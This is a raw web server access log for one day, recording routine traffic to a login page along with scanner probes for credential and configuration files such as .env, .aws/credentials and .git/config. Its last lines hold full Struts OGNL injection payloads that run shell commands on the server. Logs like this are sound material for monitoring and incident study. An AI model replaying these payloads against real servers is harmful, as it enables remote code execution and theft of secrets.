127.0.0.1 - - [03/Jan/2025:00:12:23 -0500] "GET /logs/localhost_access_log..2020-04-13.txt HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:00:21:17 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:00:21:17 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:00:21:18 -0500] "GET /images/favicon.ico HTTP/1.1" 200 1150 127.0.0.1 - - [03/Jan/2025:01:08:49 -0500] "GET /webapps/docs/tribes/transport.html HTTP/1.1" 200 2145 80.82.68.17 - - [03/Jan/2025:01:18:33 -0500] "CONNECT api.ipify.org:443 HTTP/1.1" 400 - 127.0.0.1 - - [03/Jan/2025:01:19:03 -0500] "GET /.well-known/acme-challenge/74M1-UU2FDEJHLSK1XFJGJ9ZL1XKV91H HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:01:19:03 -0500] "GET /.well-known/acme-challenge/KOSBVH3YY7MX5TXFX2J2ZMV2A7LT-7X4 HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:01:19:03 -0500] "GET /.well-known/acme-challenge/V4VQ55DOCLT6LRBX3BESSXDUN5OV1N5C HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:01:19:03 -0500] "GET /.well-known/acme-challenge/SWN3DO_FV8LXQLC-KY0U_6I-BOQ8W9VU HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:01:19:03 -0500] "GET /.well-known/acme-challenge/8275CD2JHW37--6M_V8REAPHHJTKYKAF HTTP/1.1" 200 2145 95.214.53.198 - - [03/Jan/2025:01:48:45 -0500] "GET /login.asp HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:01:51:05 -0500] "GET /logs/localhost_access_log..2022-01-25.txt HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:02:21:29 -0500] "GET /.git/config HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:02:38:58 -0500] "GET /logs/localhost_access_log..2019-01-03.txt HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:02:46:08 -0500] "GET /.git/config HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:02:58:41 -0500] "GET /wp-login.php HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:02:58:41 -0500] "GET /login HTTP/1.1" 200 4254 194.165.16.76 - - [03/Jan/2025:03:48:33 -0500] "/*Cookie: mstshash=Administr " 400 - 127.0.0.1 - - [03/Jan/2025:03:48:42 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:03:48:42 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:04:19:03 -0500] "GET /.well-known/acme-challenge/O0WZ23L6E9W0_IYASI_8G71GHJ6QP7CI HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:04:19:03 -0500] "GET /.well-known/acme-challenge/KDVEH_UVRI0XGEP1UR0BHNQA218QYXDG HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:04:19:03 -0500] "GET /.well-known/acme-challenge/7YDYK21-IPMSQH4SKYGVBLKH5T3G3L18 HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:04:19:03 -0500] "GET /.well-known/acme-challenge/9_QWT2A4OC4STZW4WOKAF73PGWAB0WXQ HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:04:19:03 -0500] "GET /.well-known/acme-challenge/P6L09TYANPWDYP2Z41X_X6T0SFXYSV66 HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:04:20:53 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:04:41:11 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:04:41:11 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:04:44:48 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:04:44:49 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:04:44:51 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:04:44:52 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:05:15:59 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:05:15:59 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:05:15:59 -0500] "GET /images/CSG%20elibrary%20Logo.png HTTP/1.1" 404 990 127.0.0.1 - - [03/Jan/2025:05:39:00 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:05:39:00 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:05:40:40 -0500] "GET /.git/config HTTP/1.1" 200 2145 185.247.137.229 - - [03/Jan/2025:05:45:30 -0500] "GET / HTTP/1.1" 302 - 185.247.137.229 - - [03/Jan/2025:05:45:30 -0500] "GET /login HTTP/1.1" 200 4254 87.236.176.208 - - [03/Jan/2025:05:45:31 -0500] "GET /images/favicon.ico HTTP/1.1" 200 1150 127.0.0.1 - - [03/Jan/2025:05:55:57 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:05:55:57 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:06:04:44 -0500] "GET /wp-login.php HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:06:04:45 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:06:56:42 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:06:56:42 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:07:00:50 -0500] "GET /logs/localhost_access_log..2024-03-05.txt HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:07:19:03 -0500] "GET /.well-known/acme-challenge/9Q7CQDROTHG_FBZRQ65NJ7R-GY7X3A32 HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:07:19:03 -0500] "GET /.well-known/acme-challenge/CFZKHSZNI12OPG_EM3CJYAFMMM0-5Z_9 HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:07:19:03 -0500] "GET /.well-known/acme-challenge/LWKDHV92ZKIUX1WE_EK-28QX5IBBQM10 HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:07:19:03 -0500] "GET /.well-known/acme-challenge/76XR9W62PRDDCFPN7DO5GUQYSJDC622B HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:07:19:03 -0500] "GET /.well-known/acme-challenge/BN4Q5UIHESA4Q6-PQFANKVYP2SZSVYSO HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:07:35:19 -0500] "GET /logs/localhost_access_log..2024-06-11.txt HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:07:40:01 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:07:40:05 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:08:43:18 -0500] "GET /app-ads.txt HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:08:43:18 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:10:14:28 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:10:14:30 -0500] "GET /login HTTP/1.1" 200 4254 87.236.176.173 - - [03/Jan/2025:10:18:05 -0500] "GET / HTTP/1.1" 302 - 87.236.176.173 - - [03/Jan/2025:10:18:06 -0500] "GET /login HTTP/1.1" 200 4254 185.247.137.114 - - [03/Jan/2025:10:18:06 -0500] "GET /images/favicon.ico HTTP/1.1" 200 1150 127.0.0.1 - - [03/Jan/2025:10:19:02 -0500] "GET /.well-known/acme-challenge/U8R_G03ZRI0WQX2M9I84F_8_P05XU4NH HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:10:19:02 -0500] "GET /.well-known/acme-challenge/3QHCRJGK55UYDXHEN7TB_K_4TMNVBPZ0 HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:10:19:03 -0500] "GET /.well-known/acme-challenge/0G5WH6A2HM1MSKTD8E5JR1-TGNMTHAXQ HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:10:19:03 -0500] "GET /.well-known/acme-challenge/S1AR9KGRYA8Z_ZYJLCVSYP_TC4FAN5FH HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:10:19:03 -0500] "GET /.well-known/acme-challenge/B7FQMVCAFBAUOY9T9LRBQJ95LRHXUZ66 HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:10:28:19 -0500] "GET /lib/home HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:10:29:29 -0500] "GET /lib/js/bootstrap.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:10:29:33 -0500] "GET /lib/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:10:29:33 -0500] "GET /lib/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:11:03:44 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:11:03:44 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:11:04:19 -0500] "GET /work/Catalina/localhost/ROOT/org/apache/jsp/WEB_002dINF/pages/viewAllPdfsUser_jsp.class HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:11:25:47 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:11:25:48 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:11:28:25 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:11:28:26 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:11:49:51 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:11:49:51 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:11:53:00 -0500] "GET /contact-us/ HTTP/1.1" 200 2145 104.234.115.143 - - [03/Jan/2025:12:03:44 -0500] "-" 400 - 104.234.115.143 - - [03/Jan/2025:12:03:59 -0500] "2yx +eڑK"؎^-fP/+ " 400 - 104.234.115.143 - - [03/Jan/2025:12:04:06 -0500] "GET /favicon.ico HTTP/1.1" 302 - 104.234.115.143 - - [03/Jan/2025:12:04:13 -0500] "JgR`7bwBz*I=HP/+  " 400 - 104.234.115.4 - - [03/Jan/2025:22:32:54 -0500] "GET /+CSCOE+/logon.html HTTP/1.1" 200 2145 104.234.115.4 - - [03/Jan/2025:22:33:01 -0500] "Ӑ mrJhpoXH6d P/+ " 400 - 104.234.115.4 - - [03/Jan/2025:22:33:09 -0500] "GET /cgi-bin/login.cgi HTTP/1.1" 200 2145 104.234.115.4 - - [03/Jan/2025:22:33:16 -0500] "-" 400 - 104.234.115.4 - - [03/Jan/2025:22:33:23 -0500] "GET /logon.htm HTTP/1.1" 302 - 104.234.115.4 - - [03/Jan/2025:22:33:31 -0500] "O22-nu7Jb_n>w-EIC*/P/+  " 400 - 104.234.115.4 - - [03/Jan/2025:22:33:38 -0500] "GET /login.jsp HTTP/1.1" 302 - 104.234.115.4 - - [03/Jan/2025:22:33:45 -0500] "^?}4_m440#Nkq/t P/+ " 400 - 104.234.115.4 - - [03/Jan/2025:22:33:52 -0500] "GET /doc/index.html HTTP/1.1" 200 2145 104.234.115.4 - - [03/Jan/2025:22:33:59 -0500] "q%`yh 8i4ڿP/+ " 400 - 104.234.115.4 - - [03/Jan/2025:22:34:05 -0500] "GET /remote/login HTTP/1.1" 200 2145 104.234.115.4 - - [03/Jan/2025:22:34:13 -0500] "d`n!5e!N2_=˽~P/+  " 400 - 104.234.115.4 - - [03/Jan/2025:22:34:20 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:01:14 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:01:14 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /phpinfo.php HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /info.php HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /phpinfo HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /php_info.php HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /test.php HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /_profiler/phpinfo HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /.env HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /config/.env HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /.env.production HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /.env.local HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /api/shared/config/config.env HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /api/.env HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /register/ HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /contact/ HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /.AWS_/credentials HTTP/1.1" 200 2145 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /karma.conf.json HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /index.php HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:23:10:58 -0500] "GET /.aws/credentials HTTP/1.1" 200 2145 128.14.216.246 - - [03/Jan/2025:23:16:48 -0500] "CONNECT www.baidu.com:443 HTTP/1.1" 400 - 127.0.0.1 - - [03/Jan/2025:23:38:16 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [03/Jan/2025:23:38:16 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [03/Jan/2025:23:53:29 -0500] "GET /assets/elfinder/connectors/php/connector.php HTTP/1.1" 200 2145 165.22.104.140 - - [03/Jan/2025:23:58:20 -0500] "GET /index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 165.22.104.140 - - [03/Jan/2025:23:58:20 -0500] "GET /index.action?action%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 302 - 165.22.104.140 - - [03/Jan/2025:23:58:21 -0500] "GET /index.action?redirectAction%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 302 - 165.22.104.140 - - [03/Jan/2025:23:58:21 -0500] "GET /login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 165.22.104.140 - - [03/Jan/2025:23:58:21 -0500] "GET /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 165.22.104.140 - - [03/Jan/2025:23:58:21 -0500] "GET /index.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 165.22.104.140 - - [03/Jan/2025:23:58:21 -0500] "GET /index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 165.22.104.140 - - [03/Jan/2025:23:58:21 -0500] "GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 302 - 165.22.104.140 - - [03/Jan/2025:23:58:21 -0500] "GET /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 -